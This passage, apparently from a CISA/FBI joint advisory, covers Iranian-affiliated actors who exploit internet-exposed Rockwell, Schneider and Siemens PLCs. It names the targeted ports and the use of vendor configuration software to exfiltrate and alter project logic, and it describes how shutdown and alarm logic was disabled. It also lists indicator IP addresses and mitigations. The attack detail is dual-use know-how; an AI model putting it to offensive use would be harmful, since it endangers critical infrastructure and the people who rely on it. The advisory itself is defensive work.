<p>Due to the widespread use of these PLCs, and the potential for additional targeting of other branded OT devices across critical infrastructure, the authoring agencies recommend U.S. organizations urgently review the TTPs and IOCs in this advisory for indications of current or historical activity on their networks, and apply the recommendations listed in the <a href="https://www.cisa.gov/#Mitigations"><strong>Mitigations</strong></a> section of this advisory to reduce the risk of compromise.</p>
<p>If owners and operators discover an affected internet-accessible device in their environment, additional technical measures may be necessary to evaluate the risk of compromise. Please engage your cyber incident response plans and contact the authoring agencies and applicable vendors through existing support channels available to customers and integrators (see <a href="https://www.cisa.gov/#Contact"><strong>Contact Information</strong></a>) to receive support, mitigation, and investigation assistance.</p>
<p>For more information on Iranian malicious cyber activity, see CISA’s <a href="https://www.cisa.gov/topics/cyber-threats-and-advisories/advanced-persistent-threats/iran" title="Iran Cyber Threat Overview and Advisories">Iran Threat Overview and Advisories</a> webpage and the FBI’s <a href="https://www.fbi.gov/investigate/counterintelligence/the-iran-threat" target="_blank" title="Iran Threat">Iran Threat</a> and Iran <a href="https://www.fbi.gov/investigate/cyber/cyber-threat-overview-iran" target="_blank" title="Iran Cyber Threat">Cyber Threat Overview</a> webpages.</p>
<p>Download the PDF version of this report:</p>





<div class="c-file">
    <div class="c-file__download">
    <a href="https://www.cisa.gov/sites/default/files/2026-07/aa26-097a-iranian-affiliated-cyber-actors-exploit-programmable-logic-controllers-across-us-critical-infrastructure_508c.pdf" class="c-file__link" target="_blank">Iranian-Affiliated Cyber Actors Exploit Programmable Logic Controllers Across US Critical Infrastructure</a>
    <span class="c-file__size">(PDF,       1.09 MB
  )</span>
  </div>
</div>
<p><em><strong>(New, July 22, 2026)</strong></em> For a downloadable copy of July 22, 2026<strong> </strong>IOCs, see:</p>
<ul type="square">
<li><a href="https://www.cisa.gov/sites/default/files/2026-07/AA26-097A.stix_.xml">AA26-097A STIX XML</a> (XML, 29 KB)</li>
<li><a href="https://www.cisa.gov/sites/default/files/2026-07/AA26-097A.stix_.json">AA26-097A STIX JSON</a> (JSON, 30 KB)</li>
</ul>
<p>For a downloadable copy of historical April 7, 2026 IOCs, see:</p>





<div class="c-file">
    <div class="c-file__download">
    <a href="https://www.cisa.gov/sites/default/files/2026-04/AA26-097A.stix_.xml" class="c-file__link" target="_blank">AA26-097A.stix_.xml</a>
    <span class="c-file__size">(XML,       35.97 KB
  )</span>
  </div>
</div>





<div class="c-file">
    <div class="c-file__download">
    <a href="https://www.cisa.gov/sites/default/files/2026-04/AA26-097A.stix_.json" class="c-file__link" target="_blank">AA26-097A.stix_.json</a>
    <span class="c-file__size">(JSON,       11.87 KB
  )</span>
  </div>
</div>
<h2><strong>Background Information</strong></h2>
<h3><strong>Similar Historical Activity Targeting Programmable Logic Controllers</strong></h3>
<p>During a similar campaign beginning in November 2023, the IRGC CEC-affiliated cyber threat actors known as "CyberAv3ngers” targeted U.S.-based PLCs and HMIs, causing disruptive effects. Private industry and open sources also refer to this group as Hydro Kitten, Storm-0784, APT Iran, Bauxite, Mr. Soul, Soldiers of Solomon, UNC5691, and the Shahid Kaveh Group. These attacks compromised at least 75 devices, targeting U.S.-based Unitronics PLC devices with an HMI used across multiple critical infrastructure sectors, including the WWS. APT actors developed and deployed custom ladder logic code to these devices, replacing the valid ladder logic with malicious code that continues to be observed to date.</p>
<p>For more information on this group’s activity, see the joint Cybersecurity Advisory <a href="https://www.cisa.gov/news-events/cybersecurity-advisories/aa23-335a" title="IRGC-Affiliated Cyber Actors Exploit PLCs in Multiple Sectors, Including US Water and Wastewater Systems Facilities">IRGC-Affiliated Cyber Actors Exploit PLCs in Multiple Sectors, Including US Water and Wastewater Systems Facilities</a>.</p>
<h3><strong>Ongoing Threat Actor Activity Against U.S.-Based Programmable Logic Controllers</strong></h3>
<p>The FBI observed Iranian-affiliated APT actors targeting internet-exposed PLCs with the intent to cause disruptions—including maliciously interacting with project files, and manipulating data displayed on HMI and SCADA displays—to U.S. critical infrastructure organizations. Iranian-affiliated APT targeting campaigns against U.S. critical infrastructure have recently escalated, likely in response to hostilities between Iran, and the United States and Israel.</p>
<p><em><strong>(New, July 22, 2026) </strong></em>At one U.S. victim, the FBI observed the APT actors download a malicious project file to a targeted PLC using configuration software. Analysis indicated the project file retained ladder logic for downstream function but added logic that overrode specific instruction sets responsible for maintaining safe operating parameters in the victim’s environment.</p>
<p>Since at least March 2026, the authoring agencies identified (through engagements with victim organizations) an Iranian-affiliated APT group disrupted the function of PLCs. Organizations across several U.S. critical infrastructure sectors (including <a href="https://www.cisa.gov/topics/critical-infrastructure-security-and-resilience/critical-infrastructure-sectors/government-services-facilities-sector" title="Government Services and Facilities">Government Services and Facilities</a>, <a href="https://www.cisa.gov/topics/critical-infrastructure-security-and-resilience/critical-infrastructure-sectors/water-and-wastewater-sector" title="Water and Wastewater Systems">WWS</a>, and <a href="https://www.cisa.gov/topics/critical-infrastructure-security-and-resilience/critical-infrastructure-sectors/energy-sector" title="Energy">Energy</a> Sectors) deployed these PLCs within a wide variety of industrial automation processes. Some of the victims experienced operational disruption and financial loss.</p>
<h2><strong>Technical Details</strong></h2>
<p><strong>Note:</strong> This advisory uses the <a href="https://attack.mitre.org/versions/v19/matrices/enterprise/" target="_blank" title="MITRE ATTACK Matrix for Enterprise">MITRE ATT&amp;CK<sup>®</sup> Matrix for Enterprise</a> framework, version 19. See the <a href="https://www.cisa.gov/#MITRE"><strong>MITRE ATT&amp;CK Tactics and Techniques</strong></a> section of this advisory for tables of the threat actors’ activity mapped to MITRE ATT&amp;CK tactics and techniques.</p>
<h3><strong>Initial Access</strong></h3>
<p><em><strong>(Updated, July 22, 2026)</strong></em> The authoring agencies observed Iranian-affiliated APT actors using several foreign-based IP addresses to access internet-facing PLCs manufactured by Rockwell Automation/Allen-Bradley, Schneider Electric, Siemens, and potentially other manufactured PLCs [<a href="https://attack.mitre.org/versions/v19/techniques/T0883/" target="_blank" title="T0883">T0883</a>]. The actors used leased, third-party hosted infrastructure and manufacturers’ PLC programming software to connect to misconfigured victim PLCs. Inbound malicious traffic has been observed targeting PLC devices on the following ports: <code>44818</code>, <code>2222</code>, <code>102</code>, and <code>502</code>, as well as targeting modems on port <code>22</code>. Targeted devices include:</p>
<ul type="square">
<li><strong>Rockwell Automation:</strong> CompactLogix and Micro850 PLCs</li>
<li><strong>Schneider Electric:</strong> BMX P34/Modicon M340 PLCs</li>
<li><strong>Siemens:</strong> S7-1200 series PLCs</li>
</ul>
<h3><strong>Command and Control</strong></h3>
<p><em><strong>(Updated, July 22, 2026)</strong></em> The targeting of ports [<a href="https://attack.mitre.org/versions/v19/techniques/T0885/" target="_blank" title="T0885">T0885</a>] associated with other OT vendors’ protocols suggests these actors are opportunistically targeting devices manufactured by companies other than Rockwell Automation/Allen-Bradley, including Schneider Electric and Siemens. In one reported instance, the actors utilized Dropbear Secure Shell (SSH) software on victim modems to enable them to gain remote access through port <code>22</code> [<a href="https://attack.mitre.org/versions/v19/techniques/T1219/" target="_blank" title="T1219">T1219</a>].</p>
<h3><strong>Exfiltration</strong></h3>
<p><em><strong>(New, July 22, 2026) </strong></em>The authoring agencies observed Iranian-affiliated APT actors using configuration software—such as Rockwell Automation’s Studio 5000 Logix Designer, Schneider Electric’s EcoStruxure Control Expert, and Siemens’ Totally Integrated Automation (TIA) Portal—on leased, third-party hosted infrastructure to exfiltrate device project files from PLC devices to threat-actor-controlled infrastructure [<a href="https://attack.mitre.org/versions/v19/techniques/T1041/" target="_blank" title="T1041">T1041</a>].</p>
<h3><strong>Impact</strong></h3>
<p><em><strong>(Updated, July 22, 2026)</strong></em> After the actors extracted device project files, the FBI and CISA identified the modification and deletion of project file logic, to include Add-On Instructions (AOIs) and data manipulation on HMI and SCADA displays [<a href="https://attack.mitre.org/versions/v19/techniques/T1565/" target="_blank" title="T1565">T1565</a>]. Additionally, the changes disabled critical shutdown and alarm logic, allowing systems to enter unsafe conditions without notifying operators of the anomalies.</p>
<p><strong>Note:</strong> An AOI is analogous to a “Function Block” or “User Defined Function Block” used in other PLC vendor programs.</p>
<h2><strong>Indicators of Compromise</strong></h2>
<p>See <a href="https://www.cisa.gov/#Table1"><strong>Table 1</strong></a><strong> </strong>and <a href="https://www.cisa.gov/#Table2"><strong>Table 2</strong></a> for recent IP addresses used by the Iranian-affiliated APT actors to communicate with PLCs manufactured by Rockwell Automation/Allen-Bradley, Schneider Electric, and Siemens in the United States.</p>
<p><strong>Disclaimer:</strong> The FBI observed the threat actors using the IP addresses listed below in the specified time frames. This data is being provided for customers to query against logs for indications of historical targeting by the Iranian-affiliated APT actors. The authoring agencies recommend organizations investigate or vet these IP addresses prior to taking action, such as blocking.</p>
<table class="tablesaw tablesaw-stack" data-tablesaw-mode="stack" data-tablesaw-minimap>
<caption><a class="ck-anchor"></a>Table 1. Indicators of Compromise <em><strong>(New, July 22, 2026)</strong></em></caption>
<thead>
<tr>
<th role="columnheader" data-tablesaw-priority="persist">Indicator</th>
<th role="columnheader">Beginning of Actor Association</th>
<th role="columnheader">End of Actor Association</th>
</tr>
</thead>
<tbody>
<tr>
<td>185.82.73[.]175</td>
<td>September 2025</td>
<td>February 2026</td>
</tr>
<tr>
<td>141.11.164[.]153</td>
<td>January 2026</td>
<td>June 2026</td>
</tr>
<tr>
<td>175.110.121[.]42</td>
<td>February 2026</td>
<td>March 2026</td>
</tr>
<tr>
<td>175.110.121[.]39</td>
<td>February 2026</td>
<td>March 2026</td>
</tr>
<tr>
<td>175.110.121[.]41</td>
<td>February 2026</td>
<td>March 2026</td>
</tr>
<tr>
<td>175.110.121[.]107</td>
<td>February 2026</td>
<td>February 2026</td>
</tr>
<tr>
<td>192.142.54[.]79</td>
<td>May 2026</td>
<td>June 2026</td>
</tr>
<tr>
<td>84.200.205[.]165</td>
<td>May 2026</td>
<td>June 2026</td>
</tr>
<tr>
<td>185.225.17[.]225</td>
<td>June 2026</td>
<td>July 2026</td>
</tr>
<tr>
<td>79.133.46[.]209</td>
<td>July 2026</td>
<td>July 2026</td>
</tr>
<tr>
<td>88.80.150[.]199</td>
<td>July 2026</td>
<td>July 2026</td>
</tr>
<tr>
<td>88.80.150[.]200</td>
<td>July 2026</td>
<td>July 2026</td>
</tr>
<tr>
<td>88.80.150[.]202</td>
<td>July 2026</td>
<td>July 2026</td>
</tr>
</tbody>
</table>
<table class="tablesaw tablesaw-stack" data-tablesaw-mode="stack" data-tablesaw-minimap>
<caption><a class="ck-anchor"></a>Table 2. Indicators of Compromise </caption>
<thead>
<tr>
<th role="columnheader" data-tablesaw-priority="persist">Indicator</th>
<th role="columnheader">Beginning of Actor Association</th>
<th role="columnheader">End of Actor Association</th>
</tr>
</thead>
<tbody>
<tr>
<td>185.82.73[.]162</td>
<td>January 2025</td>
<td>March 2026</td>
</tr>
<tr>
<td>185.82.73[.]164</td>
<td>January 2025</td>
<td>March 2026</td>
</tr>
<tr>
<td>185.82.73[.]165</td>
<td>January 2025</td>
<td>March 2026</td>
</tr>
<tr>
<td>185.82.73[.]167</td>
<td>January 2025</td>
<td>March 2026</td>
</tr>
<tr>
<td>185.82.73[.]168</td>
<td>January 2025</td>
<td>March 2026</td>
</tr>
<tr>
<td>185.82.73[.]170</td>
<td>January 2025</td>
<td>March 2026</td>
</tr>
<tr>
<td>185.82.73[.]171</td>
<td>January 2025</td>
<td>March 2026</td>
</tr>
<tr>
<td>135.136.1[.]133</td>
<td>March 2026</td>
<td>March 2026</td>
</tr>
</tbody>
</table>
<h2><a class="ck-anchor"></a><a class="ck-anchor"><strong>MITRE ATT&amp;CK Tactics and Techniques</strong></a></h2>
<p>See <a href="https://www.cisa.gov/#Table3"><strong>Table 3</strong></a> to <a href="https://www.cisa.gov/#Table6"><strong>Table 6</strong></a><strong> </strong>for all referenced threat actor tactics and techniques in this advisory. The authoring agencies recommend organizations review historical TTPs for similar Iranian-affiliated cyber actor activity in <a href="https://www.cisa.gov/news-events/cybersecurity-advisories/aa23-335a" title="IRGC-Affiliated Cyber Actors Exploit PLCs in Multiple Sectors, Including US Water and Wastewater Systems Facilities">IRGC-Affiliated Cyber Actors Exploit PLCs in Multiple Sectors, Including US Water and Wastewater Systems Facilities</a>. For assistance with mapping malicious cyber activity to the MITRE ATT&amp;CK framework, see CISA and MITRE ATT&amp;CK’s <a href="https://www.cisa.gov/news-events/news/best-practices-mitre-attckr-mapping" title="Best Practices for MITRE ATT&amp;CK Mapping">Best Practices for MITRE ATT&amp;CK Mapping</a> and CISA’s <a href="https://github.com/cisagov/Decider/" title="Decider Tool">Decider Tool</a>.</p>
<table class="tablesaw tablesaw-stack" data-tablesaw-mode="stack" data-tablesaw-minimap>
<caption><a class="ck-anchor"></a>Table 3. Initial Access</caption>
<thead>
<tr>
<th role="columnheader" data-tablesaw-priority="persist">Technique Title</th>
<th role="columnheader">ID</th>
<th role="columnheader">Use</th>
</tr>
</thead>
<tbody>
<tr>
<td>Internet Accessible Device</td>
<td><a href="https://attack.mitre.org/versions/v19/techniques/T0883/" target="_blank" title="T0833">T0883</a></td>
<td>The actors accessed and interacted with publicly exposed, internet-accessible PLCs that lacked sufficient network and/or hardening security controls.</td>
</tr>
</tbody>
</table>
<p> </p>
<table class="tablesaw tablesaw-stack" data-tablesaw-mode="stack" data-tablesaw-minimap>
<caption>Table 4. Command and Control</caption>
<thead>
<tr>
<th role="columnheader" data-tablesaw-priority="persist">Technique Title</th>
<th role="columnheader">ID</th>
<th role="columnheader">Use</th>
</tr>
</thead>
<tbody>
<tr>
<td>Commonly Used Port</td>
<td><a href="https://attack.mitre.org/versions/v19/techniques/T0885/" target="_blank" title="T0885">T0885</a></td>
<td>The actors leveraged commonly used OT ports to communicate with PLCs.</td>
</tr>
<tr>
<td>Remote Access Tools </td>
<td><a href="https://attack.mitre.org/versions/v19/techniques/T1219/" target="_blank" title="T1219">T1219</a></td>
<td>The actors deployed Dropbear SSH software on victim modems to enable them to gain remote access through port <code>22</code>.</td>
</tr>
</tbody>
</table>
<table class="tablesaw tablesaw-stack" data-tablesaw-mode="stack" data-tablesaw-minimap>
<caption>Table 5. Exfiltration <em><strong>(New, July 22, 2026)</strong></em></caption>
<thead>
<tr>
<th role="columnheader" data-tablesaw-priority="persist">Technique Title</th>
<th role="columnheader">ID</th>
<th role="columnheader">Use</th>
</tr>
</thead>
<tbody>
<tr>
<td>Exfiltration Over C2 Channel</td>
<td><a href="https://attack.mitre.org/versions/v19/techniques/T1041/" target="_blank" title="T1041">T1041</a></td>
<td>The actors used remote, third-party hosted infrastructure as a C2 channel to transfer device project files out of victim environments.</td>
</tr>
</tbody>
</table>
<table class="tablesaw tablesaw-stack" data-tablesaw-mode="stack" data-tablesaw-minimap>
<caption><a class="ck-anchor"></a>Table 6. Impact</caption>
<thead>
<tr>
<th role="columnheader" data-tablesaw-priority="persist">Technique Title</th>
<th role="columnheader">ID</th>
<th role="columnheader">Use</th>
</tr>
</thead>
<tbody>
<tr>
<td>Data Manipulation</td>
<td><a href="https://attack.mitre.org/versions/v19/techniques/T1565/" target="_blank" title="T1565">T1565</a></td>
<td>The actors maliciously interacted with project files, including modifying and deleting project file logic, and altered data displayed on HMI and SCADA displays.</td>
</tr>
</tbody>
</table>
<h2><a class="ck-anchor"><strong>Mitigations</strong></a></h2>
<p>The authoring agencies recommend organizations implement the mitigations below to improve your organization’s cybersecurity posture on the basis of the threat actors’ activity. These mitigations align with the <a href="https://www.cisa.gov/cpg" title="Cross-Sector Cybersecurity Performance Goals (CPGs)">Cross-Sector Cybersecurity Performance Goals (CPGs)</a> developed by CISA and the National Institute of Standards and Technology (NIST). The CPGs provide a minimum set of practices and protections that CISA and NIST recommend all organizations implement. CISA and NIST based the CPGs on existing cybersecurity frameworks and guidance to protect against the most common and impactful threats and TTPs. Visit CISA’s <a href="https://www.cisa.gov/cpg" title="CPGs webpage">CPGs webpage</a> for more information on the CPGs, including additional recommended baseline protections.</p>
<h3><strong>Network Defenders</strong></h3>
<p>The cyber threat actors accessed PLCs manufactured by Rockwell Automation/Allen-Bradley, Schneider Electric, Siemens, and potentially other branded/manufactured PLCs to cause disruptions to victim systems. To safeguard against this threat and threats to other types of PLCs, the authoring agencies urge organizations to consider the following mitigations.</p>
<p><em><strong>(Updated, July 22, 2026)</strong></em> In addition to contacting the authoring agencies, organizations and integrators operating PLCs from the manufacturers mentioned in this advisory should review the previously issued guidance to strengthen the security of their OT deployments:</p>
<ul type="square">
<li><strong>Rockwell Automation:</strong> Contact the Rockwell Automation Product Security Incident Response Team (PSIRT) at <a href="mailto:PSIRT@rockwellautomation.com">PSIRT@rockwellautomation.com</a> for questions regarding this guidance, or to report cyber incidents related to Rockwell Automation products.<br>
<ul type="circle">
<li>Refer to Rockwell Automation Security Advisory <a href="https://www.rockwellautomation.com/en-us/trust-center/security-advisories/advisory.SD1771.html" target="_blank" title="SD1771">SD1771</a> for recommended PLC hardening measures and configuration guidance.</li>
</ul>
</li>
<li><strong>Schneider Electric:</strong> Contact the Schneider Electric Corporate Product Cyber Emergency Response Team (CPCERT) at <a href="mailto:cpcert@se.com">cpcert@se.com</a> for questions regarding this guidance, or to report cyber incidents related to Schneider Electric products.<br>
<ul type="circle">
<li>Refer to Schneider Electric’s <a href="https://download.se.com/files?p_File_Name=Cybersecurity_Best+Practices_EN.pdf&amp;p_Doc_Ref=7EN52-0390&amp;p_enDocType=White+Paper" target="_blank" title="Recommended Cybersecurity Best Practices">Recommended Cybersecurity Best Practices</a> and <a href="https://download.se.com/files?p_Doc_Ref=EIO0000001999&amp;p_enDocType=User+guide&amp;p_File_Name=EIO0000001999-13_Modicon_Controller_Platform_Cybersecurity_Guide_EN.pdf" target="_blank" title="Cybersecurity User Guide for Modicon Controller Platform">Cybersecurity User Guide for Modicon Controller Platform</a> for guidance on securing and configuring PLCs.</li>
</ul>
</li>
<li><strong>Siemens:</strong> Contact Siemens ProductCERT at <a href="mailto:productcert@siemens.com">productcert@siemens.com</a> for questions regarding this guidance, or to report cyber incidents and vulnerabilities related to Siemens products.<br>
<ul type="circle">
<li>Refer to <a href="https://cert-portal.siemens.com/productcert/html/ssb-104599.html" target="_blank" title="Siemens Security Bulletin 104599">Siemens Security Bulletin 104599</a> for a list of security measures to harden PLCs and in-depth configuration guides.</li>
<li>Siemens users should review the <a href="https://cert-portal.siemens.com/operational-guidelines-industrial-security.pdf" target="_blank" title="Cybersecurity for Industry Operational Guidelines">Cybersecurity for Industry Operational Guidelines</a> and implement defense-in-depth controls within their automation systems.</li>
</ul>
</li>
</ul>
<p><strong>Immediate steps to prevent the attack:</strong></p>
<ul type="square">
<li><strong>Disconnect the PLC from the public-facing internet</strong> [<a href="https://www.cisa.gov/cybersecurity-performance-goals-2-0-cpg-2-0#SecureInternetFacingDevices3S" title="CPG 3.S">CPG 3.S</a>]. Follow the joint guidance <a href="https://www.ncsc.gov.uk/collection/operational-technology/secure-connectivity" target="_blank" title="Secure Connectivity Principles for OT">Secure connectivity principles for OT</a> to safely allow remote access. Specifically, “remove inbound port exposure,” so the OT system is never directly exposed to the internet or external networks, and to ensure all access is mediated, monitored, and controlled. Do this through a secure gateway (jump host) that brokers the connection.<br>
<ul type="circle">
<li>Ensure cellular modems, used for remote field connectivity and access, are secured with strong authentication and updated.</li>
<li>Enable logs for connected modems and regularly review for suspicious activity to detect intrusions and improve incident response speed.</li>
<li><em><strong>(New, July 22, 2026) </strong></em>To mitigate unauthorized access to OT via cellular modems, organizations should consider implementing isolated architectures, such as private Access Point Name (APN), 5G Public Network Integrated Non-Public Network (PNI-NPN), cellular Software-Defined Wide Area Network (SD-WAN), Zero Trust Network Access (ZTNA), or a site-to-site virtual private network (VPN).</li>
</ul>
</li>
<li><em><strong>(New, July 22, 2026) </strong></em><strong>Strictly control network access to PLC devices.</strong><br>
<ul type="circle">
<li>Configure firewall rules or access control list (ACL) security features on PLCs or programmable controllers to allow only authorized communications between expected control system devices. Block access from unauthorized or threat actor-controlled IP addresses, such as those associated with hosting providers.</li>
</ul>
</li>
<li><strong>For controllers with a physical mode switch, place the physical mode switch into run position to prevent remote modification. </strong>Devices should only be in the program or remote position when updating or downloading software online and immediately switched back to the run position when complete. (See Rockwell Automation’s<a href="https://www.cisa.gov/#Note2"><sup>2</sup></a><sup> </sup><a href="https://literature.rockwellautomation.com/idc/groups/literature/documents/rm/secure-rm001_-en-p.pdf" target="_blank" title="System Security Design Guidelines">System Security Design Guidelines</a> for manufacturer’s instructions.)<br>
<ul type="circle">
<li><em><strong>(New, July 22, 2026)</strong> </em>Prior to switching the device to run mode, review and validate project files, as changing modes will lock in the current project file downloaded to the device.</li>
</ul>
</li>
<li><strong>For devices that allow software key switching, </strong>enable programming protection in PLC configuration software (S7 TIA Portal) to limit who can modify PLCs remotely. (See Siemens’ <a href="https://assets.new.siemens.com/siemens/assets/api/uuid:c9a2de6e-6bd0-4c32-bba0-f64cac44fcc9/industrial-security-operational-guidelines-en.pdf" target="_blank" title="Cybersecurity for Industry Operational Guidelines">Cybersecurity for Industry Operational Guidelines</a> for the manufacturer’s instructions.)</li>
</ul>
<p><strong>Follow-up steps to strengthen security posture:</strong></p>
<ul type="square">
<li><em><strong>(New, July 22, 2026)</strong> </em><strong>Review project files running on PLCs for unauthorized changes.</strong> Use vendor-provided integrity checking tools and visually compare the running program to known good logic. Ensure reusable logic and input/output configurations are valid. For Rockwell Automation PLCs listed in the <a href="https://www.rockwellautomation.com/en-us/trust-center/security-advisories/advisory.SD1771.html" target="_blank" title="Customer Guidance to Disconnect Devices from the Internet">Customer Guidance to Disconnect Devices from the Internet</a>, check the AOIs for any anomalous modifications.<br>
<ul type="circle">
<li>If restoring from backups, verify the backup does not contain malicious logic before deployment.</li>
<li>Review logs and configurations on all connected devices, including modems, HMIs, and workstations, to assess potential lateral movement by threat actors. If it appears the actors connected to additional devices, reimage these devices to remove any potential malicious changes or access tools.</li>
</ul>
</li>
<li><em><strong>(New, July 22, 2026)</strong> </em><strong>Ensure device passwords are changed from their default </strong>and are configured to use complex, unique combinations of letters, numbers, and symbols that are not easily guessable. Implementing robust password practices remains a critical security measure that can help prevent unauthorized access and strengthen the overall security posture of OT devices.</li>
<li><em><strong>(New, July 22, 2026)</strong> </em><strong>Take defensive measures to minimize the risk of exploitation. </strong>Conduct comprehensive impact analysis and risk assessments prior to deploying defensive measures.</li>
<li><strong>Create and test strong backups of the logic and configurations of PLCs</strong>. Store backup files offline and secure the physical removal media to enable fast recovery.</li>
<li><strong>Implement multifactor authentication</strong> <strong>(MFA)</strong> [<a href="https://www.cisa.gov/cybersecurity-performance-goals-2-0-cpg-2-0#ImplementMultifactorAuthentication3F" title="CPG 3.F">CPG 3.F</a>] for access to the OT network from an external network.</li>
<li>If remote access is required, <strong>implement a network proxy, gateway, firewall, and/or VPN in front of the PLC to control network access</strong>.<br>
<ul type="circle">
<li>A VPN or gateway device can enable MFA for remote access even if the PLC does not support MFA. Implement security rules on these higher-level network security mechanisms to prevent the type of repeated and sustained login attempts seen during a brute force attack. When possible, implement a device control list for workstations sending messages or connecting to OT components.</li>
<li>Use the device control list to monitor for logon activity for unexpected or unusual access to devices from the internet.</li>
</ul>
</li>
<li><strong>Keep PLC devices updated with the latest software patches issued by the manufacturer.</strong> Use established downtime windows to install patches. <a href="https://www.cisa.gov/known-exploited-vulnerabilities-catalog" title="Known Exploited Vulnerabilities">Known Exploited Vulnerabilities</a> may need to be prioritized outside a downtime window.</li>
<li><strong>Configure external and internal firewalls to block traffic using common ports </strong>associated with network protocols that are unnecessary for the particular network segment.</li>
<li><strong>Disable any unused authentication methods, logic, or features, </strong>such as default authentication keys and passwords, as well as unused or needed services such as Teletype Network (Telnet), File Transfer Protocol (FTP), Remote Desktop Protocol (RDP), Virtual Network Computing (VNC), and web services.</li>
<li><strong>Monitor asset management systems for device configuration changes</strong>, which can be used to understand expected parameter settings.</li>
<li><strong>Monitor the content of network traffic</strong> for the following:<br>
<ul type="circle">
<li>Unusual logins to internet-connected devices or unexpected protocols to/from the internet. </li>
<li>Functions of industrial control systems management protocols that change an asset’s operating mode or modify programs.</li>
</ul>
</li>
<li><em><strong>(New, July 22, 2026)</strong> </em><strong>Ensure service providers are informed of active threats targeting internet-connected PLC devices. </strong>Owners and operators should communicate directly with service providers to address risks, especially when remote monitoring or maintenance is involved. Some service providers may rely on internet connectivity essential to monitor and maintain OT/ICS operations but may not be fully aware of active threats.</li>
</ul>
<p>In addition, the authoring agencies recommend network defenders apply the following mitigations to limit potential adversarial use of common system and network discovery techniques, as well as reduce the impact and risk of compromise by cyber threat actors:</p>
<ul type="square">
<li><strong>Reduce risk exposure</strong>. CISA offers a range of services at no cost, including scanning and testing, to help organizations reduce exposure to threats via mitigating attack vectors. CISA’s <a href="https://www.cisa.gov/cyber-hygiene-services" title="Cyber Hygiene Services">Cyber Hygiene Services</a> can help provide additional review of organizations’ internet-accessible assets. </li>
</ul>
<h3><strong>Device Manufacturers</strong></h3>
<p><strong>Note:</strong> The following guidance is general in nature and not specific to any OT vendor. Some of the features, settings, and practices may already be offered by certain vendors. The inclusion of this guidance should not be interpreted as an assertion that vendors referenced do not offer such security features. Also, this advisory is not highlighting a new vulnerability in the identified products, but instead discusses opportunistic targeting. Device manufacturers can make opportunistic attacks more difficult at scale by encouraging more secure behavior by default and in operations, as discussed below. </p>
<p>Although critical infrastructure organizations using PLC devices can take steps to mitigate the risks, it is ultimately the responsibility of the device manufacturer to build products secured by design and default. The authoring agencies urge device manufacturers to take ownership of their customers’ security outcomes by following the principles in the joint guide <a href="https://www.cisa.gov/resources-tools/resources/secure-demand-priority-considerations-operational-technology-owners-and-operators-when-selecting" title="Secure by Demand: Priority Considerations for Operational Technology Owners and Operators when Selecting Digital Products">Secure by Demand: Priority Considerations for OT Owners and Operators when Selecting Digital Products</a>, primarily:</p>
<ul>
<li>Change the manufacturers’ default settings to prevent exposing administrative interfaces to the internet.</li>
<li>Do not charge additional fees for basic security features needed to operate the product securely.</li>
<li>Support MFA, including via phishing-resistant methods.</li>
</ul>
<p>By using secure by design tactics, software manufacturers can make product lines secure “out of the box” without requiring customers to spend additional resources making configuration changes, purchasing tiered security software and logs, monitoring, and making routine updates.</p>
<p>For more information on common misconfigurations and guidance on reducing their prevalence, see joint advisory <a href="https://www.cisa.gov/news-events/cybersecurity-advisories/aa23-278a" title="NSA and CISA Red and Blue Teams Share Top Ten Cybersecurity Misconfigurations">NSA and CISA Red and Blue Teams Share Top Ten Cybersecurity Misconfigurations</a>. For more information on secure by design, see CISA’s <a href="https://www.cisa.gov/securebydesign" title="Secure by Design">Secure by Design</a> webpage and joint guide.</p>
<h2><strong>Validate Security Controls</strong></h2>
<p>In addition to applying mitigations, the authoring agencies recommend exercising, testing, and validating your organization's security program against the threat behaviors mapped to the MITRE ATT&amp;CK for Enterprise framework in this advisory. The authoring agencies recommend testing your existing security controls inventory to assess how they perform against the ATT&amp;CK techniques described in this advisory.</p>
<p>To get started:</p>
<ol>
<li>Select an ATT&amp;CK technique described in this advisory (see<strong> </strong><a href="https://www.cisa.gov/#Table3"><strong>Table 3</strong></a> to <a href="https://www.cisa.gov/#Table6"><strong>Table 6</strong></a>).</li>
<li>Align your security technologies against the technique.</li>
<li>Test your technologies against the technique.</li>
<li>Analyze your detection and prevention technologies’ performance.</li>
<li>Repeat the process for all security technologies to obtain a set of comprehensive performance data.</li>
<li>Tune your security program, including people, processes, and technologies, based on the data generated by this process.</li>
</ol>
<p>The authoring agencies recommend continually testing your security program, at scale, in a production environment to ensure optimal performance against the ATT&amp;CK techniques identified in this advisory.</p>
<h2><strong>Resources</strong></h2>
<ul type="square">
<li>Authoring Agencies: <a href="https://www.cisa.gov/news-events/cybersecurity-advisories/aa23-335a" title="IRGC-Affiliated Cyber Actors Exploit PLCs in Multiple Sectors, Including US Water and Wastewater Systems Facilities">IRGC-Affiliated Cyber Actors Exploit PLCs in Multiple Sectors, Including US Water and Wastewater Systems Facilities</a></li>
<li>CISA: <a href="https://www.cisa.gov/resources-tools/resources/bulletproof-defense-mitigating-risks-bulletproof-hosting-providers" title="Bulletproof Defense: Mitigating Risks From Bulletproof Hosting Providers">Bulletproof Defense: Mitigating Risks From Bulletproof Hosting Providers</a></li>
<li>EPA: <a href="https://www.epa.gov/cyberwater/epa-cybersecurity-water-sector" target="_blank" title="Cybersecurity for the Water Sector">Cybersecurity for the Water Sector</a></li>
<li>CISA: <a href="https://www.cisa.gov/water" title="Water and Wastewater Cybersecurity">Water and Wastewater Cybersecurity</a></li>
<li>CISA: <a href="https://www.cisa.gov/news-events/alerts/2023/11/28/exploitation-unitronics-plcs-used-water-and-wastewater-systems" title="Exploitation of Unitronics PLCs used in Water and Wastewater Systems">Exploitation of Unitronics PLCs used in Water and Wastewater Systems</a></li>
<li>CISA: <a href="https://www.cisa.gov/topics/cyber-threats-and-advisories/advanced-persistent-threats/iran" title="Iran Cyber Threat Overview and Advisories">Iran Threat Overview and Advisories</a></li>
<li>FBI: <a href="https://www.fbi.gov/investigate/counterintelligence/the-iran-threat" target="_blank" title="The Iran Threat">The Iran Threat</a> and <a href="https://www.fbi.gov/investigate/cyber/cyber-threat-overview-iran" target="_blank" title="Cyber Threat Overview: Iran">Cyber Threat Overview: Iran</a></li>
<li>CISA, MITRE: <a href="https://www.cisa.gov/news-events/news/best-practices-mitre-attckr-mapping" title="Best Practices for MITRE ATT&amp;CK Mapping">Best Practices for MITRE ATT&amp;CK Mapping</a></li>
<li>CISA: <a href="https://github.com/cisagov/Decider/" title="Decider Tool">Decider Tool</a></li>
<li>CISA: <a href="https://www.cisa.gov/cybersecurity-performance-goals-2-0-cpg-2-0" title="Cross-Sector Cybersecurity Performance Goals 2.0">Cross-Sector Cybersecurity Performance Goals 2.0</a></li>
